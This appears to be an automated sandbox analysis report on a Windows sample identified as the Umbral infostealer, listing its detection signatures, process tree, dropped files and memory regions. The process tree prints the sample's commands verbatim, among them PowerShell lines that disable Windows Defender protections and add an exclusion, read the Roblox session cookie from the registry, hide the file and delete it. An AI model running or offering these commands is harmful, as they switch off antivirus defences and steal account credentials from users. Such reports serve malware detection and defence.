Analysis

  • max time kernel
    94s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250129-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250129-enlocale:en-usos:windows10-2004-x64system
  • submitted
    02/02/2025, 19:41

General

  • Target
    sws.exe
  • Size 227KB
  • Sample250202-yed12awkdv
  • SHA256 c6e3deb37384306e5bc08d51469e978c001ee54cf0ad8baa59942eda2c849b6b
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detect Umbral payload 1 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Umbral family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Drops file in Drivers directory 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 26 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\sws.exe
    "C:\Users\Admin\AppData\Local\Temp\sws.exe"
    1⤵
    • Drops file in Drivers directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:232
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" csproduct get uuid
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:876
    • C:\Windows\SYSTEM32\attrib.exe
      "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\sws.exe"
      2⤵
      • Views/modifies file attributes
      PID:1700
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sws.exe'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5076
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2312
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4456
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:4988
    • C:\Windows\System32\Wbem\wmic.exe
      "wmic.exe" computersystem get totalphysicalmemory
      2⤵
        PID:1468
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        2⤵
          PID:1424
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          PID:1996
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic" path win32_VideoController get name
          2⤵
          • Detects videocard installed
          PID:3020
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\sws.exe" && pause
          2⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Suspicious use of WriteProcessMemory
          PID:4864
          • C:\Windows\system32\PING.EXE
            ping localhost
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Runs ping.exe
            PID:3752

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 944B
            • SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 948B
            • SHA256 98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27
            • MD5 SHA1 SHA512

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 1KB
            • SHA256 987d374beac33bedb33df17b602f2fdf5cdf81fa14f11dbbe606506efb8a74ad
            • MD5 SHA1 SHA512

            __PSScriptPolicyTest_kqbyvse1.xs3.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kqbyvse1.xs3.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            memory/232-71-0x0000014AA1120000-0x0000014AA112A000-memory.dmp

            memory/232-35-0x0000014AA10A0000-0x0000014AA10BE000-memory.dmp

            memory/232-91-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp

            memory/232-90-0x0000014AA0F70000-0x0000014AA1072000-memory.dmp

            memory/232-2-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp

            memory/232-33-0x0000014AA1280000-0x0000014AA12F6000-memory.dmp

            memory/232-34-0x0000014AA10D0000-0x0000014AA1120000-memory.dmp

            memory/232-72-0x0000014AA1320000-0x0000014AA1332000-memory.dmp

            memory/232-1-0x0000014A86A20000-0x0000014A86A60000-memory.dmp

            memory/232-0-0x00007FFA15F63000-0x00007FFA15F65000-memory.dmp

            memory/5076-9-0x0000022041A70000-0x0000022041A92000-memory.dmp

            memory/5076-15-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp

            memory/5076-14-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp

            memory/5076-3-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp

            memory/5076-18-0x00007FFA15F60000-0x00007FFA16A21000-memory.dmp